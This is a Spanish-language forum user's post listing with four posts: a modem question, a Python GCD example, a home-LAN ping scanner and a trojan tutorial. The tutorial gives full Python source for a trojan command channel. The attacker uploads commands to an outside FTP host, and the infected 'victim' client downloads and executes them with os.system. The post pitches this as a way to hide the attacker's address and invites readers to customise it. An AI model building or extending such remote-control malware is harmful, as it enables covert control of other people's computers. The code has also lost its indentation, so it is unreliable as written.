Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - porni

#1
Buenas noches, encontré en mi casa un modem de 5p3ddy que no lo vinieron a buscar cuando me lo cambiaron. Aburrido lo abri, y vi que tiene dos antenas Airgain n2420. Queria saber si les puedo dar algun uso, tanto al modem como a las antenas.

Saludos!
#2
Python / Algoritmo de Euclides
Enero 31, 2018, 12:25:59 AM
Hace mucho tiempo , estaba sentado Euclides abajo de un árbol, cuando de repente le cayó una manzana en la cabeza... No, esa es la historia de otro.
Euclides fue un matemático y geómetra griego. Gracias al "Algoritmo De Euclides" podemos calcular el máximo común divisor de dos números de manera exacta y sin perder mucho tiempo( algo realmente útil en nuestra vida cotidiana...).

El algoritmo es sencillo, por medio de reiteradas divisiones enteras damos con el numero que buscamos( para más información de cómo se realiza : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)


Si si, ya se que no es lo más divertido para hacer un tema, pero estoy estudiando para la facultad y justo salió esto. Lo que quiero mostrar es el uso de funciones que retornan valores, no se enojen con Euclides xd


CÓDIGO COMPLETO:

Código: php

print "Algoritmo De Euclides"
print "Maximo Comun Divisor (MCD)"
print "--------------------------"

def main():
mayor = input("Numero mayor >> ")
menor = input("Numero menor >> ")

resto,anterior = restoDe(mayor,menor)

while resto != 0:
resto, anterior = restoDe(anterior,resto)

print "El m.c.d("+str(mayor)+","+str(menor)+") = "+str(anterior)


def restoDe(dividendo,divisor):

resto = dividendo%divisor
anterior = divisor

return resto,anterior

main()




CÓDIGO EXPLICADO:


Código: php

def main():
mayor = input("Numero mayor >> ")
menor = input("Numero menor >> ")

resto,anterior = restoDe(mayor,menor)

La primer parte es normal, ingresamos dos valores ( el primero es el mayor, y el segundo el menor) y los mandamos a la función restoDe/2, pero acá está lo lindo: estamos guardando los valores de retorno en una tupla ( no necesariamente tiene que ser puesta con paréntesis), porque son dos los valores que devuelve la función restoDe/2

Código: php

def restoDe(dividendo,divisor):

resto = dividendo%divisor
anterior = divisor

[b]return[/b] resto,anterior


¿Ves el return al final de la función? Bueno, con eso devolvemos un valor (o los valores que queramos) cuando llamamos a la función. Muy distinto a poner un print, ya que con eso imprimimos un mensaje en la pantalla pero no lo podemos seguir usando.Cuando usamos return no vamos a ver el resultado (a menos que lo llamemos con un print), pero si lo podemos pasar a otra función

#3
Buenas tardes , ayer me estaba funcionando muy lento internet así que decidí ver que dispositivos estaban conectados. Tenía el Netmap descargado pero no lo encontraba , asi que armé mi propio script en python :)

PLOT TWIST: no había ningún intruso conectado a mi Wi-Fi, es lento porque es mas malo que la realidad xd




Código Completo:
Código: php
import os,subprocess

def main():
miDireccion = raw_input("ip privada>> ")

for p in range(0,256):
ip = '192.168.1.'+str(p)

saver = open('temp.txt','w')
subprocess.call(['ping','-n','1',ip],stdout=saver)
saver.close()

leerSaver = open('temp.txt','r')
linea = leerSaver.readlines()

estado = linea[2]

wrong = "Reply from "+ miDireccion +": Destination host unreachable.\n"

if estado == wrong:
pass
else:
data = "[+] El host " + ip + " se encuentra activo.\n"
dataSaver = open('hostActivos.txt','a')
dataSaver.write(data)
dataSaver.close()

print data

main()


CODIGO EXPLICADO:

1)Importamos librerias:

Código: php
import os,subprocess


os nos va a servir para enviar un ping a una dirección de ip
subprocess nos sirve para ejecutar un comando en la consola, y atrapar su respuesta para poder analizarla


2)Ahora tenemos que guardar la ip privada de nuestro equipo, para que se pueda evaluar la respuesta que produce el ping (en la consola de comandos(cmd) la encontramos con el comando ipconfig)
Código: php
miDireccion = raw_input("direccion: ")


3) Con un bucle for vamos a recorrer desde la direccion 192.168.1.0 a la 192.168.1.256
Código: php

for p in range(0,256):
    ip = '192.168.1.'+str(p)


4) Miren esta porción de código
Código: php

saver = open('temp.txt','w')
subprocess.call(['ping','-n','1',ip],stdout=saver)
saver.close()

leerSaver = open('temp.txt','r')
linea = leerSaver.readlines()
estado = linea[2]


Acá abrimos un archivo para guardar la respuesta del ping que le vamos a hacer a la direccion de ip con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Luego vamos a leer el archivo, pero la linea que nos interesa es la numero 2, porque la vamos a comparar con la respuesta que dan los host activos y los inactivos

4) Veamos que "wrong" es la respuesta que recibimos cuando un host esta inactivo, entonces la comparamos con "estado", y si está activo el host, nos lo muestra en pantalla y lo guarda en un archivo de texto (nos puede servir para controlar cuantos dispositivos están conectados en distintos momentos del dia, etc)

Código: php

wrong = "Reply from "+ miDireccion +": Destination host unreachable.\n"

if estado == wrong:
pass
else:
    data = "[+] El host " + ip + " se encuentra activo.\n"
    dataSaver = open('hostActivos.txt','a')
    dataSaver.write(data)
    dataSaver.close()
    print data




Esta es una imagen con los resultados del scaneo:
#4
Python / Cliente-Servidor para troyanos
Diciembre 15, 2017, 03:51:53 PM
Buenos días, tardes o noches. Primer aporte , espero que lo encuentren útil/interesante/mágico(?

Introducción:
                   Erase una vez, en una galaxia muy muy lejana... Digo, usualmente cuando queremos crear un troyano en Python y necesitamos una manera de comunicarnos con el dispositivo infectado, usamos sockets para armar una comunicación de tipo cliente-servidor. Esto es muy útil para enviar comandos, recibir datos, etc , etc. Si el cliente se conecta a nuestro servidor, no es difícil que monitoree el trafico de la red y que nuestra dirección lo salude coordialmente. ¿Hay manera de evitar que nuestra dirección sea taaan fácilmente descubierta? Claro! Pero no es la idea de este post  ;) Porque no es el único problema que tiene este tipo de cliente-servidor. Otro ejemplo ( al final voy a listar todos los pro y los contras, así la introducción no se me hace mas larga que la de El Silmarillion) es que es necesario abrir puertos para que nuestro servidor reciba la conexión, y por mas que no sea difícil, hay varias compañías de internet ( *lease f1b3rt3l) que no les gusta que andemos merodeando por el panel de control del modem/router.


Si estás leyendo esto es porque no te quedaste dormido con la breve introducción, genial!
Resulta que hay una forma de evitar estos pequeños y odiosos inconvenientes ya mencionados  8) 8)

Vamos a usar a nuestro querido FTP (si, volvió en forma de fichas!)
La idea que es que el cliente infectado por nuestro malévolo troyano se conecte directamente a un servidor FTP aislado de nosotros, descargue un pequeño archivo con instrucciones ( ::) ), y las ejecute. Por nuestra parte, nosotros también nos vamos a conectar a ese servidor, pero solo para cargarle el pequeño archivo con las instrucciones.



Así evitamos que nuestra dirección de IP esté totalmente al descubierto, no tenemos que abrir ningún puerto ( porque entendemos que eso le molesta a nuestros amigos proveedores de internet  ::) ), podemos conectarnos desde cualquier lugar remoto,solo teniendo nuestro servidor ( o subiendo desde otro lado las instrucciones, pero le quitamos la magia ), y un largo etc.

Manos a la obra entonces!

1) El primer paso es tener un servidor FTP:
Si ya tenes uno , este paso saltealo, de no ser así , acá está el que uso yo y recomiendo : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Este post no se trata de como usar un servidor FTP, asi que te dejo que averigües solo ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) todo sobre esta pagina, cualquier cosa MD

2) Vamos a crear nuestro querido servidor ( que se conecta al servidor FTP):

Importamos la librería que vamos a usar
Código: php
from ftplib import FTP


Creamos la función main con los datos de nuestro servidor FTP:

Código: php
def main():
print "[+]Conectando al servidor "
host = 'files.000webhost.com'
usuarioFTP = 'nombreUsuario'
passwordFTP = 'password'


Creamos la función conexión,que va a recibir tres parámetros : la dirección del FTP, el usuario y la contraseña, y se va a conectar:
Código: php
def conexion(_dirFTP,_admin,_passw):

ftp = FTP(_dirFTP)
ftp.login(_admin,_passw)
print "[+] Conexion establecida con el servidor ftp"


Ahora la parte donde subimos el comando que queremos que ejecute nuestro cliente victima :
Código: php

        comando = raw_input ("enviar comando para cliente >> ")
archivoComandos = open("comandos.txt",'w')
archivoComandos.write(comando)
archivoComandos.close()

ftp.storbinary("STOR %s" %filename,open("%s" %(filename)))
ftp.quit()


Si, está bien, te lo explico ...

Código: php
comando = raw_input ("enviar comando para cliente >> ")
Escribis el comando que queres que ejecute

Código: php

        archivoComandos = open("comandos.txt",'w')
archivoComandos.write(comando)
archivoComandos.close()


Y lo guardamos en un archivo , que vamos a subirlo con esta linea :
Código: php
ftp.storbinary("STOR %s" %filename,open("%s" %(filename)))


Ya tenemos nuestra hermosa puerta para enviar todos los comandos que queremos al servidor!

Bueno,ahora viene la parte del cliente victima,infectado,ex. El código varía poco, porque se tiene que conectar al servidor también, pero solo descarga y ejecuta las instrucciones:

1)Importamos las librerias

Código: php

from ftplib import FTP
import os


2) Definimos la función main()

Código: php

def main():
host = 'files.000webhost.com'
usuarioFTP = 'user'
passwordFTP = 'pass'


SPOILER ALERT: si averiguaste un poco del FTP, tenes que saber que también podes conectarte de forma anónima sin usuario ni contraseña, pero eso te lo dejo a vos

3)Creamos la funcion conectar/3 , que recibe el host, es usuario y la contraseña y se conecta.

Código: php

        ftp = FTP(_dirFTP)
ftp.login(_admin,_passw)



La siguiente funcion va a descargar el archivo con instrucciones:

Código: php

        file = open('comandos.txt','wb')

ftp.retrbinary("RETR comandos.txt",file.write)


Donde
Código: php
ftp.retrbinary("RETR comandos.txt",file.write)
descarga el archivo "comandos.txt" del servidor

4)Por último leemos el archivo y ejecutamos los comandos . OJO! Acá tenemos un sinfin de posibilidades para armar nuestros propios comandos o acciones a realizar a partir de lo que reciba
Código: php

archivo = open('comandos.txt','r')
for linea in archivo:
if (linea == "abrir underC0d3") :
os.system('start https://underc0de.org/')
#ejemplo de comando que se le puede enviar
#NOTA:  aca podemos armar nuestros comandos personalizados
if (linea == "saludo"):
print ""
print "Hola cliente"
print ""


PD: Solo en forma de ejemplo se hace todo manual, la idea es que este metido dentro de un bucle para que se repita cada cierto tiempo


Acá les dejo todo el código completo, modifiquenlo a su gusto, espero que les haya servido

miServer.py
Código: php

from ftplib import FTP

def conexion(_dirFTP,_admin,_passw):
try:
ftp = FTP(_dirFTP)
ftp.login(_admin,_passw)
print "[+] Conexion establecida con el servidor ftp"
comando = raw_input ("enviar comando para cliente >> ")
except Exception,f :
print "[-] No se pudo conectar con el servidor ftp"

archivoComandos = open("comandos.txt",'w')
archivoComandos.write(comando)
archivoComandos.close()
#abrir archivo de texto,borrar su contenido y copiar el comando nuevo

filename = "comandos.txt"

try:
ftp.storbinary("STOR %s" %filename,open("%s" %(filename)))
print "[+] Comando enviado "
ftp.quit()
#subir el archivo al servidor

except Exception,e:
print "[-] No se pudo enviar el comando :", e


#El cliente tiene la funcion DescargarArchivo, que haremos que cada
# cierto tiempo descargue los comandos



def main():
print "[+]Conectando al servidor "
host = 'files.000webhost.com'
usuarioFTP = 'admin'
passwordFTP = 'pass'

conexion(host,usuarioFTP,passwordFTP)

main()




miCliente.py

Código: php

from ftplib import FTP
import os

def conectar(_dirFTP,_admin,_passw):
try:
ftp = FTP(_dirFTP)
ftp.login(_admin,_passw)
print "[+]Conectado al servidor"

except Exception,f:
print "[-]Error al conectarse con el servidor"

#incluirlo en una funcion que cada X tiempo cumpla este ciclo
try:
print "[+] Descargando comandos.."
file = open('comandos.txt','wb')

ftp.retrbinary("RETR comandos.txt",file.write)

print "[+] Ejecutando comandos.."

except Exception,e:
print "[-] Error al descargar los comandos ", e

def ejecutarComando(_archivo):
#lee el archivo y ejecuta los comandos

archivo = open('comandos.txt','r')
for linea in archivo:
if (linea == "abrir underC0d3") :
os.system('start https://underc0de.org/')
#ejemplo de comando que se le puede enviar
#NOTA:  aca podemos armar nuestros comandos personalizados
if (linea == "saludo"):
print ""
print "Hola cliente"
print ""

archivo.close()

print "[+] Comando ejecutado"

def main():
host = 'files.000webhost.com'
usuarioFTP = 'admin'
passwordFTP = 'pass'

conectar(host,usuarioFTP,passwordFTP)
ejecutarComando("comandos.txt")

main()


Con objeto de que se entienda mejor, el código está comentado y le saltan alertas para indicar que va todo bien. Claramente, un troyano no va a tener nada de eso